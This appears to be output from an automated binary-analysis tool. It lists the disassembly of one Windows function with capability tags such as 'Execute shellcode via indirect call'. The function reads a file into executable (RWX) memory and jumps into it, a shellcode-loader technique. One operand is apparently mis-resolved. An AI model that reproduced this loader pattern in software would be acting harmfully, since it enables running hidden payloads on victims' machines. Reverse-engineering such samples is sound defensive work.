Function at 0x40c05b
Capabilities:
Allocate or change rwx memory
Check if file exists
Execute shellcode via indirect call
Get file attributes
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4427df
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0xac
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
push 0
call fcn.0041698f
add esp, 4
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
add eax, 1
mov dword [ebp - 0x14], eax
mov ecx, 1
test ecx, ecx
je 0x40c4e0
push 0
call fcn.0041698f
add esp, 4
mov dword [ebp - 0x1c], eax
mov edx, dword [ebp - 0x1c]
cmp edx, dword [ebp - 0x14]
jl 0x40c4d0
push 0x40c5b0
push 0xe55adc
push 0xe5c8b0
call fcn.0040d540
add esp, 8
mov ecx, eax
call fcn.0040c6a0
mov dword [ebp - 4], 0
lea eax, [ebp - 0x2c]
push eax
call fcn.0040ba98
add esp, 4
mov dword [ebp - 0x9c], eax
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x2c]
call fcn.0040c670
mov dword [ebp - 0xa0], eax
mov ecx, dword [ebp - 0xa0]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40c2d9
lea edx, [ebp - 0x5c]
push edx
call fcn.0040b94b
add esp, 4
mov dword [ebp - 0xa4], eax
mov byte [ebp - 4], 2
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x5c]
push ecx
call fcn.0040be89
add esp, 8
mov byte [ebp - 0xa8], al
mov edx, dword [ebp - 0xa8]
and edx, 0xff
test edx, edx
jne 0x40c192
push 0
push 0xe55af8
push 0xe55b00
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov dword [ebp - 0x70], 1
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x5c]
call fcn.0040c630
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x2c]
call fcn.0040c630
mov eax, dword [ebp - 0x70]
jmp 0x40c4e2
lea eax, [ebp - 0x74]
push eax
push 0xe55b10
lea ecx, [ebp - 0x4c]
call fcn.0040c600
mov dword [ebp - 0xac], eax
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x78]
push ecx
lea ecx, [ebp - 0x6c]
call fcn.0040c5d0
mov dword [ebp - 0xb0], eax
mov byte [ebp - 4], 4
lea edx, [ebp - 0x6c]
push edx
lea eax, [ebp - 0x2c]
push eax
call fcn.0040bba9
add esp, 8
mov byte [ebp - 0xb4], al
mov ecx, dword [ebp - 0xb4]
and ecx, 0xff
test ecx, ecx
jne 0x40c23c
push 0
push 0xe55b3c
push 0xe55b44
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov dword [ebp - 0x7c], 1
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x6c]
call fcn.0040c630
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x4c]
call fcn.0040c630
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x5c]
call fcn.0040c630
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x2c]
call fcn.0040c630
mov eax, dword [ebp - 0x7c]
jmp 0x40c4e2
lea edx, [ebp - 0x4c]
push edx
lea eax, [ebp - 0x6c]
push eax
call fcn.0040d870
add esp, 8
mov byte [ebp - 0xb8], al
mov ecx, dword [ebp - 0xb8]
and ecx, 0xff
test ecx, ecx
je 0x40c2b5
push 0
push 0xe55b58
push 0xe55b60
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov dword [ebp - 0x80], 1
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x6c]
call fcn.0040c630
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x4c]
call fcn.0040c630
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x5c]
call fcn.0040c630
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x2c]
call fcn.0040c630
mov eax, dword [ebp - 0x80]
jmp 0x40c4e2
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x6c]
call fcn.0040c630
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x4c]
call fcn.0040c630
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x5c]
call fcn.0040c630
lea ecx, [ebp - 0x2c]
call fcn.0040c670
mov dword [ebp - 0xbc], eax
push 0
push 0x80
push 3
push 0
push 1
push SysReAllocStringLen
mov edx, dword [ebp - 0xbc]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0xffffffff
jne 0x40c344
push 0
push 0xe55b80
push 0xe55b88
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov dword [ebp - 0x84], 1
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x2c]
call fcn.0040c630
mov eax, dword [ebp - 0x84]
jmp 0x40c4e2
push 0
mov eax, dword [ebp - 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0xffffffff
jne 0x40c398
push 0
push 0xe55b98
push 0xe55ba0
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, dword [ebp - 0x38]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x88], 1
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x2c]
call fcn.0040c630
mov eax, dword [ebp - 0x88]
jmp 0x40c4e2
push 0x40
push 0x1000
mov edx, dword [ebp - 0x3c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
jne 0x40c3f3
push 0
push 0xe55bb4
push 0xe55bbc
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov eax, dword [ebp - 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x8c], 1
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x2c]
call fcn.0040c630
mov eax, dword [ebp - 0x8c]
jmp 0x40c4e2
push 0
lea ecx, [ebp - 0x30]
push ecx
mov edx, dword [ebp - 0x3c]
push edx
mov eax, dword [ebp - 0x34]
push eax
mov ecx, dword [ebp - 0x38]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40c417
mov edx, dword [ebp - 0x30]
cmp edx, dword [ebp - 0x3c]
je 0x40c464
push 0
push 0xe55bcc
push 0xe55bd4
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0x8000
push 0
mov eax, dword [ebp - 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov ecx, dword [ebp - 0x38]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x90], 1
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x2c]
call fcn.0040c630
mov eax, dword [ebp - 0x90]
jmp 0x40c4e2
mov edx, dword [ebp - 0x38]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pushal
mov eax, dword [ebp - 0x34]
call eax
popal
push 0x8000
push 0
mov eax, dword [ebp - 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [ebp - 0x94], 0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x2c]
call fcn.0040c630
mov eax, dword [ebp - 0x94]
jmp 0x40c4e2
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40c096
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10